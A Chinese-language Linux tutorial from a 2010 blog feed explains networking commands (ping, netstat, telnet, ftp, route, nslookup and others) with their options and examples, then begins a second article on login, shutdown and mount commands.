<p>1.作用<br />
ping检测主机网络接口状态，使用权限是所有用户。</p>
<p>2.格式<br />
ping [-dfnqrRv][-c][-i][-I][-l][-p][-s][-t] IP地址</p>
<p>3.主要参数</p>
<p>-d：使用Socket的SO_DEBUG功能。<br />
-c：设置完成要求回应的次数。<br />
-f：极限检测。<br />
-i：指定收发信息的间隔秒数。<br />
-I：网络界面使用指定的网络界面送出数据包。<br />
-l：前置载入，设置在送出要求信息之前，先行发出的数据包。<br />
-n：只输出数值。<br />
-p：设置填满数据包的范本样式。<br />
-q：不显示指令执行过程，开头和结尾的相关信息除外。<br />
-r：忽略普通的Routing Table，直接将数据包送到远端主机上。<br />
-R：记录路由过程。<br />
-s：设置数据包的大小。<br />
-t：设置存活数值TTL的大小。<br />
-v：详细显示指令的执行过程。</p>
<p>ping  命令是使用最多的网络指令，通常我们使用它检测网络是否连通，它使用ICMP协议。但是有时会有这样的情况，我们可以浏览器查看一个网页，但是却无法  ping通，这是因为一些网站处于安全考虑安装了防火墙。另外，也可以在自己计算机上试一试，通过下面的方法使系统对ping没有反应：<br />
# echo 1 &gt; /proc/sys/net/ipv4/icmp_echo_ignore_all</p>
<p>netstat</p>
<p>1.作用<br />
检查整个Linux网络状态。</p>
<p>2.格式<br />
netstat [-acCeFghilMnNoprstuvVwx][-A][--ip]</p>
<p>3.主要参数</p>
<p>-a&#8211;all：显示所有连线中的Socket。<br />
-A：列出该网络类型连线中的IP相关地址和网络类型。<br />
-c&#8211;continuous：持续列出网络状态。<br />
-C&#8211;cache：显示路由器配置的快取信息。<br />
-e&#8211;extend：显示网络其它相关信息。<br />
-F&#8211;fib：显示FIB。<br />
-g&#8211;groups：显示多重广播功能群组组员名单。<br />
-h&#8211;help：在线帮助。<br />
-i&#8211;interfaces：显示网络界面信息表单。<br />
-l&#8211;listening：显示监控中的服务器的Socket。<br />
-M&#8211;masquerade：显示伪装的网络连线。<br />
-n&#8211;numeric：直接使用IP地址，而不通过域名服务器。<br />
-N&#8211;netlink&#8211;symbolic：显示网络硬件外围设备的符号连接名称。<br />
-o&#8211;timers：显示计时器。<br />
-p&#8211;programs：显示正在使用Socket的程序识别码和程序名称。<br />
-r&#8211;route：显示Routing Table。<br />
-s&#8211;statistice：显示网络工作信息统计表。<br />
-t&#8211;tcp：显示TCP传输协议的连线状况。<br />
-u&#8211;udp：显示UDP传输协议的连线状况。<br />
-v&#8211;verbose：显示指令执行过程。<br />
-V&#8211;version：显示版本信息。<br />
-w&#8211;raw：显示RAW传输协议的连线状况。<br />
-x&#8211;unix：和指定“-A unix”参数相同。<br />
&#8211;ip&#8211;inet：和指定“-A inet”参数相同。</p>
<p>4.应用实例<br />
netstat  主要用于Linux察看自身的网络状况，如开启的端口、在为哪些用户服务，以及服务的状态等。此外，它还显示系统路由表、网络接口状态等。可以说，它是一 个综合性的网络状态的察看工具。在默认情况下，netstat只显示已建立连接的端口。如果要显示处于监听状态的所有端口，使用-a参数即可：</p>
<p>#netstat -a<br />
Active Internet connections (only servers)<br />
Proto Recv-Q Send-Q Local Address Foreign Address State<br />
tcp 0 0 *:32768 *:* LISTEN<br />
tcp 0 0 *:32769 *:* LISTEN<br />
tcp 0 0 *:nfs *:* LISTEN<br />
tcp 0 0 *:32770 *:* LISTEN<br />
tcp 0 0 *:868 *:* LISTEN<br />
tcp 0 0 *:617 *:* LISTEN<br />
tcp 0 0 *:mysql *:* LISTEN<br />
tcp 0 0 *:netbios-ssn *:* LISTEN<br />
tcp 0 0 *:sunrpc *:* LISTEN<br />
tcp 0 0 *:10000 *:* LISTEN<br />
tcp 0 0 *:http *:* LISTEN<br />
&#8230;&#8230;</p>
<p>上面显示出，这台主机同时提供HTTP、FTP、NFS、MySQL等服务。</p>
<p>telnet</p>
<p>1.作用<br />
telnet表示开启终端机阶段作业，并登入远端主机。telnet是一个Linux命令，同时也是一个协议（远程登陆协议）。</p>
<p>2.格式<br />
telnet  [-8acdEfFKLrx][-b][-e][-k][-l][-n][-S][-X][主机名称IP地址&lt;通信端口&gt;]</p>
<p>3.主要参数</p>
<p>-8：允许使用8位字符资料，包括输入与输出。<br />
-a：尝试自动登入远端系统。<br />
-b：使用别名指定远端主机名称。<br />
-c：不读取用户专属目录里的.telnetrc文件。<br />
-d：启动排错模式。<br />
-e：设置脱离字符。<br />
-E：滤除脱离字符。<br />
-f：此参数的效果和指定“-F”参数相同。<br />
-F：使用Kerberos V5认证时，加上此参数可把本地主机的认证数据上传到远端主机。<br />
-k：使用Kerberos认证时，加上此参数让远端主机采用指定的领域名，而非该主机的域名。<br />
-K：不自动登入远端主机。<br />
-l：指定要登入远端主机的用户名称。<br />
-L：允许输出8位字符资料。<br />
-n：指定文件记录相关信息。<br />
-r：使用类似rlogin指令的用户界面。<br />
-S：服务类型，设置telnet连线所需的IP TOS信息。<br />
-x：假设主机有支持数据加密的功能，就使用它。<br />
-X：关闭指定的认证形态。</p>
<p>4.应用说明<br />
用户使用telnet命令可以进行远程登录，并在远程计算机之间进行通信。用户通过网络在远程计算机上登录，就像登录到本地机上执行命令一样。为 了通过  telnet登录到远程计算机上，必须知道远程机上的合法用户名和口令。虽然有些系统确实为远程用户提供登录功能，但出于对安全的考虑，要限制来宾的操作 权限，因此，这种情况下能使用的功能是很少的。</p>
<p>telnet只为普通终端提供终端仿真，而不支持X-Window等图形环境。当允许远程用户登录时，系统通常把这些用户放在一个受限制的 Shell中，以防系统被怀有恶意的或不小心的用户破坏。用户还可以使用telnet从远程站点登录到自己的计算机上，检查电子邮件、编辑文件和运行程 序，就像在本地登录一样。</p>
<p>ftp</p>
<p>1.作用<br />
ftp命令进行远程文件传输。FTP是ARPANet的标准文件传输协议，该网络就是现今Internet的前身，所以ftp既是协议又是一个命 令。</p>
<p>2.格式<br />
ftp [-dignv][主机名称IP地址]</p>
<p>3.主要参数</p>
<p>-d：详细显示指令执行过程，便于排错分析程序执行的情形。<br />
-i：关闭互动模式，不询问任何问题。<br />
-g：关闭本地主机文件名称支持特殊字符的扩充特性。<br />
-n：不使用自动登陆。<br />
-v：显示指令执行过程。</p>
<p>4.应用说明<br />
ftp  命令是标准的文件传输协议的用户接口，是在TCP/IP网络计算机之间传输文件简单有效的方法，它允许用户传输ASCⅡ文件和二进制文件。为了使用ftp   来传输文件，用户必须知道远程计算机上的合法用户名和口令。这个用户名/口令的组合用来确认ftp会话，并用来确定用户对要传输的文件进行什么样的访问。 另外，用户需要知道对其进行ftp会话的计算机名字的IP地址。</p>
<p>用户可以通过使用ftp客户程序，连接到另一台计算机上；可以在目录中上下移动、列出目录内容；可以把文件从远程计算机机拷贝到本地机上；还可以 把文件从本地机传输到远程系统中。ftp内部命令有72个，下面列出主要几个内部命令：</p>
<p>ls：列出远程机的当前目录。<br />
cd：在远程机上改变工作目录。<br />
lcd：在本地机上改变工作目录。<br />
close：终止当前的ftp会话。<br />
hash：每次传输完数据缓冲区中的数据后就显示一个#号。<br />
get（mget）：从远程机传送指定文件到本地机。<br />
put（mput）：从本地机传送指定文件到远程机。<br />
quit：断开与远程机的连接，并退出ftp。</p>
<p>route</p>
<p>1.作用<br />
route表示手工产生、修改和查看路由表。</p>
<p>2.格式<br />
#route [-add][-net|-host] targetaddress [-netmask Nm][dev]If]<br />
#route [－delete][-net|-host] targetaddress [gw Gw] [-netmask Nm]  [dev]If]</p>
<p>3.主要参数</p>
<p>-add：增加路由。<br />
-delete：删除路由。<br />
-net：路由到达的是一个网络，而不是一台主机。<br />
-host：路由到达的是一台主机。<br />
-netmask Nm：指定路由的子网掩码。<br />
gw：指定路由的网关。<br />
[dev]If：强迫路由链指定接口。</p>
<p>4.应用实例</p>
<p>route命令是用来查看和设置Linux系统的路由信息，以实现与其它网络的通信。要实现两个不同的子网之间的通信，需要一台连接两个网络的路 由器，或者同时位于两个网络的网关来实现。</p>
<p>在Linux系统中，设置路由通常是为了解决以下问题：该Linux系统在一个局域网中，局域网中有一个网关，能够让机器访问Internet， 那么就需要将这台机器的IP地址设置为Linux机器的默认路由。使用下面命令可以增加一个默认路由：<br />
route add 0.0.0.0 192.168.1.1</p>
<p>rlogin</p>
<p>1.作用<br />
rlogin用来进行远程注册。</p>
<p>2.格式<br />
rlogin [ -8EKLdx ] [ -e char ] [-k realm ] [ - l username ] host</p>
<p>3.主要参数<br />
-8：此选项始终允许8位输入数据通道。该选项允许发送格式化的ANSI字符和其它的特殊代码。如果不用这个选项，除非远端的不是终止和启动字 符，否则就去掉奇偶校验位。<br />
-E：停止把任何字符当作转义字符。当和-8选项一起使用时，它提供一个完全的透明连接。<br />
-K：关闭所有的Kerberos确认。只有与使用Kerberos 确认协议的主机连接时才使用这个选项。<br />
-L：允许rlogin会话在litout模式中运行。要了解更多信息，请查阅tty联机帮助。<br />
-d：打开与远程主机进行通信的TCP sockets的socket调试。要了解更多信息，请查阅setsockopt的联机帮助。<br />
-e：为rlogin会话设置转义字符，默认的转义字符是“～”。<br />
-k：请求rlogin获得在指定区域内远程主机的Kerberos许可，而不是获得由krb_realmofhost(3)确定的远程主机区域 内的远程主机的Kerberos许可。<br />
-x：为所有通过rlogin会话传送的数据打开DES加密。这会影响响应时间和CPU利用率，但是可以提高安全性。</p>
<p>4.使用说明<br />
如果在网络中的不同系统上都有账号，或者可以访问别人在另一个系统上的账号，那么要访问别的系统中的账号，首先就要注册到系统中，接着通过网络远 程注册到账号所在的系统中。rlogin可以远程注册到别的系统中，它的参数应是一个系统名。<br />
rcp</p>
<p>1.作用<br />
rcp代表远程文件拷贝，用于计算机之间文件拷贝，使用权限是所有用户。</p>
<p>2.格式<br />
rcp [-px] [-k realm] file1 file2 rcp [-px] [-r] [-k realm] file</p>
<p>3.主要参数<br />
-r：递归地把源目录中的所有内容拷贝到目的目录中。要使用这个选项，目的必须是一个目录。<br />
-p：试图保留源文件的修改时间和模式，忽略umask。<br />
-k：请求rcp获得在指定区域内的远程主机的Kerberos许可，而不是获得由krb_relmofhost(3)确定的远程主机区域内的远 程主机的Kerberos许可。<br />
-x：为传送的所有数据打开DES加密。</p>
<p>finger</p>
<p>1.作用<br />
finger用来查询一台主机上的登录账号的信息，通常会显示用户名、主目录、停滞时间、登录时间、登录Shell等信息，使用权限为所有用户。</p>
<p>2.格式<br />
finger [选项] [使用者] [用户@主机]</p>
<p>3.主要参数<br />
-s：显示用户注册名、实际姓名、终端名称、写状态、停滞时间、登录时间等信息。<br />
-l：除了用-s选项显示的信息外，还显示用户主目录、登录Shell、邮件状态等信息，以及用户主目录下的.plan、.project 和.forward文件的内容。<br />
-p：除了不显示.plan文件和.project文件以外，与-l选项相同。</p>
<p>4.应用实例<br />
在计算机上使用finger：</p>
<p>[root@localhost root]# Finger<br />
Login Name Tty Idle Login Time Office Office Phone<br />
root root tty1 2 Dec 15 11<br />
root root pts/0 1 Dec 15 11<br />
root root *pts/1 Dec 15 11</p>
<p>5.应用说明<br />
如果要查询远程机上的用户信息，需要在用户名后面接“@主机名”，采用[用户名@主机名]的格式，不过要查询的网络主机需要运行finger守护 进程的支持。</p>
<p>mail</p>
<p>1.作用<br />
mail作用是发送电子邮件，使用权限是所有用户。此外，mail还是一个电子邮件程序。</p>
<p>2.格式</p>
<p>mail [-s subject] [-c address] [-b address]<br />
mail -f [mailbox]mail [-u user]</p>
<p>3.主要参数</p>
<p>-b address：表示输出信息的匿名收信人地址清单。<br />
-c address：表示输出信息的抄送（）收信人地址清单。<br />
-f [mailbox]：从收件箱者指定邮箱读取邮件。<br />
-s subject：指定输出信息的主体行。<br />
[-u user]：端口指定优化的收件箱读取邮件。</p>
<p>nslookup</p>
<p>1.作用<br />
nslookup命令的功能是查询一台机器的IP地址和其对应的域名。使用权限所有用户。它通常需要一台域名服务器来提供域名服务。如果用户已经 设置好域名服务器，就可以用这个命令查看不同主机的IP地址对应的域名。</p>
<p>2.格式<br />
nslookup ［IP地址/域名］</p>
<p>3.应用实例<br />
（1）在本地计算机上使用nslookup命令</p>
<p>$ nslookup<br />
Default <a href="http://www.iwanna.cn/tags/server/" class="st_tag internal_tag" rel="tag" title="标签 Server 下的日志">Server</a>: name.cao.com.cn<br />
Address: 192.168.1.9<br />
&gt;</p>
<p>在符号“&gt;”后面输入要查询的IP地址域名，并回车即可。如果要退出该命令，输入“exit”，并回车即可。</p>
<p>（2）使用nslookup命令测试named<br />
输入下面命令：<br />
nslookup</p>
<p>然后就进入交换式nslookup环境。如果named正常启动，则nslookup会显示当前DNS服务器的地址和域名，否则表示named没 能正常启动。</p>
<p>下面简单介绍一些基本的DNS诊断。<br />
◆  检查正向DNS解析，在nslookup提示符下输入带域名的主机名，如hp712.my.com，nslookup应能显示该主机名对应的IP地址。如 果只输入hp712，nslookup会根据/etc/resolv.conf的定义，自动添加my.com域名，并回答对应的IP地址。<br />
◆检查反向DNS解析，在nslookup提示符下输入某个IP地址，如192.22.33.20，nslookup应能回答该IP地址所对应的 主机名。<br />
◆检查MX邮件地址记录在nslookup提示符下输入：<br />
set q=mx</p>
<p>然后输入某个域名，输入my.com和mail.my.com，nslookup应能够回答对应的邮件服务器地址，即 support.my.com和support2.my.com。</p>
<p>动手练习</p>
<p>1.危险的网络命令<br />
互联网的发展使安全成为一个不能忽视的问题，finger、ftp、rcp和telnet在本质上都是不安全的，因为它们在网络上用明文传送口令 和数据，嗅探器可以非常容易地截获这些口令和数据。而且，这些服务程序的安全验证方式也是有弱点的，很容易受到“中间服务器”方式的攻击。这里笔者把一些 不安全的命令根据危险等级列出，见表3所示。</p>
<p>现在ftp、telnet可以被SSH命令代替绑定在端口22上，其连接采用协商方式，使用RSA加密。身份鉴别完成之后，后面的所有流量都使用 IDEA  进行加密。SSH（Secure　Shell）程序可以通过网络登录到远程主机，并执行命令。rcp、rlogin等远程调用命令也逐渐被VNC软件代 替。</p>
<p>2.在一张网卡上绑定多个IP地址<br />
在Linux下，可以使用ifconfig方便地绑定多个IP地址到一张网卡。例如，eth0接口的原有IP地址为192.168.0  .254，可以执行下面命令：</p>
<p>ifconfig eth0:0 192.168.0.253 netmask 255.255.255.0<br />
ifconfig eth0:1 192.168.0.252 netmask 255.255.255.0<br />
&#8230;&#8230;</p>
<p>3.修改网卡MAC地址<br />
首先必须关闭网卡设备，命令如下：<br />
/sbin/ifconfig eth0 down</p>
<p>修改MAC地址，命令如下：<br />
/sbin/ifconfig eth0 hw ether 00:AA:BB:CC:DD:EE</p>
<p>重新启用网卡：<br />
/sbin/ifconfig eht0 up</p>
<p>这样网卡的MAC地址就更改完成了。每张网卡的MAC地址是惟一，但不是不能修改的，只要保证在网络中的MAC地址的惟一性就可以了。</p>
<p>4.初步部署IPv6<br />
IPv4  技术在网络发展中起到了巨大的作用，不过随着时间的流逝它无论在网络地址的提供、服务质量、安全性等方面都越来越力不从心，IPv6呼之欲出。<a href="http://www.iwanna.cn/tags/linux/" class="st_tag internal_tag" rel="tag" title="标签 Linux 下的日志">Linux</a>   是所有操作系统中最先支持IPv6的，一般Linux基于2.4内核的Linux发行版本都可以直接使用IPv6，不过主要发行版本没有加载IPv6模 块，可以使用命令手工加载，需要超级用户的权限。</p>
<p>(1)加载IPv6模块<br />
使用命令检测，其中inet6 addr: fe80::5054:abff:fe34:5b09/64，就是eth0网卡的IPv6地址。</p>
<p># modprobe IPv6<br />
＃ifconfig<br />
eth0 Link encap:Ethernet HWaddr 52:54:AB:34:5B:09<br />
inet addr:192.168.1.2 Bcast:192.168.1.255 Mask:255.255.255.0<br />
inet6 addr: fe80::5054:abff:fe34:5b09/64 Scope:Link<br />
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1<br />
RX packets:0 errors:0 dropped:0 overruns:0 frame:0<br />
TX packets:21 errors:0 dropped:0 overruns:0 carrier:0<br />
collisions:0 txqueuelen:100<br />
RX bytes:0 (0.0 b) TX bytes:1360 (1.3 Kb)<br />
Interrupt:5 Base address:0xec00</p>
<p>(2)使用ping命令检测网卡的IPv6地址是否有效<br />
#ping6 -I eth0 -c 2 fe80::200:e8ff:fea0:2586</p>
<p>和IPv4不一样，使用ping6命令时必须指定一个网卡界面，否则系统不知道将数据包发送到哪个网络设备。I表示Interface、eth0 是第一个网卡，－c表示回路，2表示ping6操作两次。结果见图1所示。</p>
<p>图1 IPv6网络下的ping6命令</p>
<p>(3)使用ip命令在IPv6下为eth0增加一个IP地址<br />
#ip -6 addr add 3ffe:ffff:0:f101::1/64 dev eth0</p>
<p>使用ifconfig命令，查看网卡是否出现第二个IPv6地址。</p>
<p>Linux网络的主要优点是能够实现资源和信息的共享，并且用户可以远程访问信息。Linux提供了一组强有力的网络命令来为用户服务，这些工具 能够帮助用户进行网络设定、检查网络状况、登录到远程计算机上、传输文件和执行远程命令等。</p>
<p>上面介绍了Linux中比较重要的网络命令，其实Linux还有许多命令需要学习。Linux网络操作命令的一个特点就是命令参数选项很多，并不 要求全部记住，关键在于理解命令的主要用途和学会使用帮助信息。</p>
<hr />
<p>© <a href="http://www.iwanna.cn">我想网</a> Akon 所有 , 2010. |
<a href="http://www.iwanna.cn/archives/2010/12/01/6010/">永久链接</a> |
<a href="http://www.iwanna.cn/archives/2010/12/01/6010/#comments">没有评论</a> |
提交到
<a rel="nofollow" target="_blank" href="http://www.google.com/reader/view/feed/http://www.iwanna.cn/archives/2010/12/01/6010/">Google Reader</a>
<a rel="nofollow" target="_blank" href="http://www.xianguo.com/subscribe.php?url=http://www.iwanna.cn/archives/2010/12/01/6010/">鲜果</a>
<a rel="nofollow" target="_blank" href="http://www.zhuaxia.com/add_channel.php?url=http://www.iwanna.cn/archives/2010/12/01/6010/">抓虾</a>
<hr />
<script type="text/javascript"><!--
google_ad_client = "pub-2057344547305288";
/* 336x280,iwanna feed,created 10/3/10 */
google_ad_slot = "9738886183";
google_ad_width = 336;
google_ad_height = 280;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<hr />
</p>
<p><small>Feed enhanced by <a href='http://planetozh.com/blog/my-projects/wordpress-plugin-better-feed-rss/'>Better Feed</a> from  <a href='http://planetozh.com/blog/'>Ozh</a></small></p>
]]></content:encoded>
			<wfw:commentRss>http://www.iwanna.cn/archives/2010/12/01/6010/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Linux必学的60个命令(1)-安装与登陆</title>
		<link>http://www.iwanna.cn/archives/2010/12/01/6005/</link>
		<comments>http://www.iwanna.cn/archives/2010/12/01/6005/#comments</comments>
		<pubDate>Wed, 01 Dec 2010 14:41:55 +0000</pubDate>
		<dc:creator>seasun</dc:creator>
				<category><![CDATA[Server]]></category>
		<category><![CDATA[Linux]]></category>

		<guid isPermaLink="false">http://www.iwanna.cn/?p=6005</guid>
		<description><![CDATA[Linux必学的60个命令 Linux提供了大量的命令，利用它可以有效地完成大量的工作，如磁盘操作、文件存取、目录操作、进程管理、文件权限设定等。所以，在Linux 系统上工作离不开使用系统提供的命令。要想真正理解Linux系统，就必须从Linux命令学起，通过基础的命令学习可以进一步理解Linux系统。 不同Linux发行版的命令数量不一样，但Linux发行版本最少的命令也有200多个。这里笔者把比较重要和使用频率最多的命令，按照它们在系 统中的作用分成下面六个部分一一介绍。 ◆ 安装和登录命令：login、shutdown、halt、reboot、install、mount、umount、chsh、exit、last； ◆ 文件处理命令：file、mkdir、grep、dd、find、mv、ls、diff、cat、ln； ◆ 系统管理相关命令：df、top、free、quota、at、lp、adduser、groupadd、kill、crontab； ◆ 网络操作命令：ifconfig、ip、ping、netstat、telnet、ftp、route、rlogin、rcp、finger、mail、 nslookup； ◆ 系统安全相关命令：passwd、su、umask、chgrp、chmod、chown、chattr、sudo ps、who； ◆ 其它命令：tar、unzip、gunzip、unarj、mtools、man、unendcode、uudecode。 本文以Mandrake Linux 9.1(Kenrel 2.4.21)为例，介绍Linux下的安装和登录命令。 login 1.作用 login的作用是登录系统，它的使用权限是所有用户。 2.格式 login [name][－p ][－h 主机名称] 3.主要参数 －p:通知login保持现在的环境参数。 －h:用来向远程登录的之间传输用户名。 如果选择用命令行模式登录Linux的话，那么看到的第一个Linux命令就是login：。 一般界面是这样的： Manddrake Linux release 9.1(Bamboo) for i586 renrel 2.4.21－0.13mdk on i686 / tty1 localhost login:root password: 上面代码中，第一行是Linux发行版本号，第二行是内核版本号和登录的虚拟控制台，我们在第三行输入登录名，按“Enter”键在 Password后输入账户密码，即可登录系统。出于安全考虑，输入账户密码时字符不会在屏幕上回显，光标也不移动。 登录后会看到下面这个界面（以超级用户为例）： [root@localhost [...]]]></description>
			<content:encoded><![CDATA[<p>Linux必学的60个命令</p>
<p>Linux提供了大量的命令，利用它可以有效地完成大量的工作，如磁盘操作、文件存取、目录操作、进程管理、文件权限设定等。所以，在Linux 系统上工作离不开使用系统提供的命令。要想真正理解Linux系统，就必须从Linux命令学起，通过基础的命令学习可以进一步理解Linux系统。</p>
<p>不同Linux发行版的命令数量不一样，但Linux发行版本最少的命令也有200多个。这里笔者把比较重要和使用频率最多的命令，按照它们在系 统中的作用分成下面六个部分一一介绍。</p>
<p>◆  安装和登录命令：login、shutdown、halt、reboot、install、mount、umount、chsh、exit、last；</p>
<p>◆ 文件处理命令：file、mkdir、grep、dd、find、mv、ls、diff、cat、ln；</p>
<p>◆ 系统管理相关命令：df、top、free、quota、at、lp、adduser、groupadd、kill、crontab；</p>
<p>◆  网络操作命令：ifconfig、ip、ping、netstat、telnet、ftp、route、rlogin、rcp、finger、mail、  nslookup；</p>
<p>◆ 系统安全相关命令：passwd、su、umask、chgrp、chmod、chown、chattr、sudo ps、who；</p>
<p>◆ 其它命令：tar、unzip、gunzip、unarj、mtools、man、unendcode、uudecode。<br />
<span id="more-6005"></span><br />
本文以Mandrake <a href="http://www.iwanna.cn/tags/linux/" class="st_tag internal_tag" rel="tag" title="标签 Linux 下的日志">Linux</a> 9.1(Kenrel 2.4.21)为例，介绍Linux下的安装和登录命令。</p>
<p>login</p>
<p>1.作用</p>
<p>login的作用是登录系统，它的使用权限是所有用户。</p>
<p>2.格式</p>
<p>login [name][－p ][－h 主机名称]</p>
<p>3.主要参数</p>
<p>－p:通知login保持现在的环境参数。</p>
<p>－h:用来向远程登录的之间传输用户名。</p>
<p>如果选择用命令行模式登录Linux的话，那么看到的第一个Linux命令就是login：。</p>
<p>一般界面是这样的：</p>
<p>Manddrake Linux release 9.1(Bamboo) for i586<br />
renrel 2.4.21－0.13mdk on i686 / tty1<br />
localhost login:root<br />
password:</p>
<p>上面代码中，第一行是Linux发行版本号，第二行是内核版本号和登录的虚拟控制台，我们在第三行输入登录名，按“Enter”键在 Password后输入账户密码，即可登录系统。出于安全考虑，输入账户密码时字符不会在屏幕上回显，光标也不移动。</p>
<p>登录后会看到下面这个界面（以超级用户为例）：</p>
<p>[root@localhost root]#<br />
last login:Tue ,Nov 18 10:00:55 on vc/1</p>
<p>上面显示的是登录星期、月、日、时间和使用的虚拟控制台。</p>
<p>4.应用技巧</p>
<p>Linux是一个真正的多用户操作系统，可以同时接受多个用户登录，还允许一个用户进行多次登录。这是因为Linux和许多版本的Unix一样， 提供了虚拟控制台的访问方式，允许用户在同一时间从控制台（系统的控制台是与系统直接相连的监视器和键盘）进行多次登录。每个虚拟控制台可以看作是一个独 立的工作站，工作台之间可以切换。虚拟控制台的切换可以通过按下Alt键和一个功能键来实现，通常使用F1-F6 。</p>
<p>例如，用户登录后，按一下“Alt+F2”键，用户就可以看到上面出现的“login:”提示符，说明用户看到了第二个虚拟控制台。然后只需按 “Alt+  F1”键，就可以回到第一个虚拟控制台。一个新安装的Linux系统允许用户使用“Alt+F1”到“Alt+F6”键来访问前六个虚拟控制台。虚拟控制 台最有用的是，当一个程序出错造成系统死锁时，可以切换到其它虚拟控制台工作，关闭这个程序。</p>
<p>shutdown</p>
<p>1.作用</p>
<p>shutdown命令的作用是关闭计算机，它的使用权限是超级用户。</p>
<p>2.格式</p>
<p>shutdown [－h][－i][－k][－m][－t]</p>
<p>3.重要参数</p>
<p>－t：在改变到其它运行级别之前，告诉init程序多久以后关机。</p>
<p>－k：并不真正关机，只是送警告信号给每位登录者。</p>
<p>－h：关机后关闭电源。</p>
<p>－c：cancel current  process取消目前正在执行的关机程序。所以这个选项当然没有时间参数，但是可以输入一个用来解释的讯息，而这信息将会送到每位使用者。</p>
<p>－F：在重启计算机时强迫fsck。</p>
<p>－time：设定关机前的时间。</p>
<p>－m: 将系统改为单用户模式。</p>
<p>－i：关机时显示系统信息。</p>
<p>4.命令说明</p>
<p>shutdown命令可以安全地将系统关机。有些用户会使用直接断掉电源的方式来关闭Linux系统，这是十分危险的。因为Linux与 Windows不同，其后台运行着许多进程，所以强制关机可能会导致进程的数据丢失，使系统处于不稳定的状态，甚至在有的系统中会损坏硬件设备（硬盘）。 在系统关机前使用 shutdown命令，系统管理员会通知所有登录的用户系统将要关闭，并且login指令会被冻结，即新的用户不能再登录。</p>
<p>halt</p>
<p>1.作用</p>
<p>halt命令的作用是关闭系统，它的使用权限是超级用户。</p>
<p>2.格式</p>
<p>halt [－n] [－w] [－d] [－f] [－i] [－p]</p>
<p>3.主要参数说明</p>
<p>－n：防止sync系统调用，它用在用fsck修补根分区之后，以阻止内核用老版本的超级块覆盖修补过的超级块。</p>
<p>－w：并不是真正的重启或关机,只是写wtmp（/var/log/wtmp）纪录。</p>
<p>－f：没有调用shutdown，而强制关机或重启。</p>
<p>－i：关机（或重启）前，关掉所有的网络接口。</p>
<p>－f：强迫关机，不呼叫shutdown这个指令。</p>
<p>－p: 当关机的时候顺便做关闭电源的动作。</p>
<p>－d：关闭系统，但不留下纪录。</p>
<p>4.命令说明</p>
<p>halt就是调用shutdown  －h。halt执行时，杀死应用进程，执行sync(将存于buffer中的资料强制写入硬盘中)系统调用，文件系统写操作完成后就会停止内核。若系统的 运行级别为0或6，则关闭系统；否则以shutdown指令（加上－h参数）来取代。</p>
<p>reboot</p>
<p>1.作用</p>
<p>reboot命令的作用是重新启动计算机，它的使用权限是系统管理者。</p>
<p>2.格式</p>
<p>reboot [－n] [－w] [－d] [－f] [－i]</p>
<p>3.主要参数</p>
<p>－n: 在重开机前不做将记忆体资料写回硬盘的动作。</p>
<p>－w: 并不会真的重开机，只是把记录写到/var/log/wtmp文件里。</p>
<p>－d: 不把记录写到/var/log/wtmp文件里（－n这个参数包含了－d）。</p>
<p>－i: 在重开机之前先把所有与网络相关的装置停止。</p>
<p>install</p>
<p>1.作用</p>
<p>install命令的作用是安装或升级软件或备份数据，它的使用权限是所有用户。</p>
<p>2.格式</p>
<p>(1)install [选项]&#8230; 来源 目的地</p>
<p>(2)install [选项]&#8230; 来源&#8230; 目录</p>
<p>(3)install －d [选项]&#8230; 目录&#8230;</p>
<p>在前两种格式中，会将&lt;来源&gt;复制至&lt;目的地&gt;或将多个&lt;来源&gt;文件复制至已存在的&lt;目录&gt;， 同时设定权限模式及所有者/所属组。在第三种格式中，会创建所有指定的目录及它们的主目录。长选项必须用的参数在使用短选项时也是必须的。</p>
<p>3.主要参数</p>
<p>－－backup[=CONTROL]：为每个已存在的目的地文件进行备份。</p>
<p>－b：类似 －－backup，但不接受任何参数。</p>
<p>－c：(此选项不作处理)。</p>
<p>－d，－－directory：所有参数都作为目录处理，而且会创建指定目录的所有主目录。</p>
<p>－D：创建&lt;目的地&gt;前的所有主目录，然后将&lt;来源&gt;复制至 &lt;目的地&gt;；在第一种使用格式中有用。</p>
<p>－g，－－group=组：自行设定所属组，而不是进程目前的所属组。</p>
<p>－m，－－mode=模式：自行设定权限模式 (像chmod)，而不是rwxr－xr－x。</p>
<p>－o，－－owner=所有者：自行设定所有者 (只适用于超级用户)。</p>
<p>－p，－－preserve－timestamps：以&lt;来源&gt;文件的访问/修改时间作为相应的目的地文件的时间属性。</p>
<p>－s，－－strip：用strip命令删除symbol table，只适用于第一及第二种使用格式。</p>
<p>－S，－－suffix=后缀：自行指定备份文件的&lt;后缀&gt;。</p>
<p>－v，－－verbose：处理每个文件/目录时印出名称。</p>
<p>－－help：显示此帮助信息并离开。</p>
<p>－－version：显示版本信息并离开。</p>
<p>mount</p>
<p>1.作用</p>
<p>mount命令的作用是加载文件系统，它的用权限是超级用户或/etc/fstab中允许的使用者。</p>
<p>2.格式</p>
<p>mount －a [－fv] [－t vfstype] [－n] [－rw] [－F] device dir</p>
<p>3.主要参数</p>
<p>－h：显示辅助信息。</p>
<p>－v：显示信息，通常和－f用来除错。</p>
<p>－a：将/etc/fstab中定义的所有文件系统挂上。</p>
<p>－F：这个命令通常和－a一起使用，它会为每一个mount的动作产生一个行程负责执行。在系统需要挂上大量NFS文件系统时可以加快加载的速 度。</p>
<p>－f：通常用于除错。它会使mount不执行实际挂上的动作，而是模拟整个挂上的过程，通常会和－v一起使用。</p>
<p>－t vfstype：显示被加载文件系统的类型。</p>
<p>－n：一般而言，mount挂上后会在/etc/mtab中写入一笔资料，在系统中没有可写入文件系统的情况下，可以用这个选项取消这个动作。</p>
<p>4.应用技巧</p>
<p>在Linux和Unix系统上，所有文件都是作为一个大型树（以/为根）的一部分访问的。要访问CD-ROM上的文件，需要将CD-ROM设备挂 装在文件树中的某个挂装点。如果发行版安装了自动挂装包，那么这个步骤可自动进行。在Linux中，如果要使用硬盘、光驱等储存设备，就得先将它加载，当 储存设备挂上了之后，就可以把它当成一个目录来访问。挂上一个设备使用mount命令。在使用mount这个指令时，至少要先知道下列三种信息：要加载对 象的文件系统类型、要加载对象的设备名称及要将设备加载到哪个目录下。</p>
<p>（1）Linux可以识别的文件系统</p>
<p>◆ Windows 95/98常用的FAT 32文件系统：vfat ；</p>
<p>◆ Win NT/2000 的文件系统：ntfs ；</p>
<p>◆ OS/2用的文件系统：hpfs；</p>
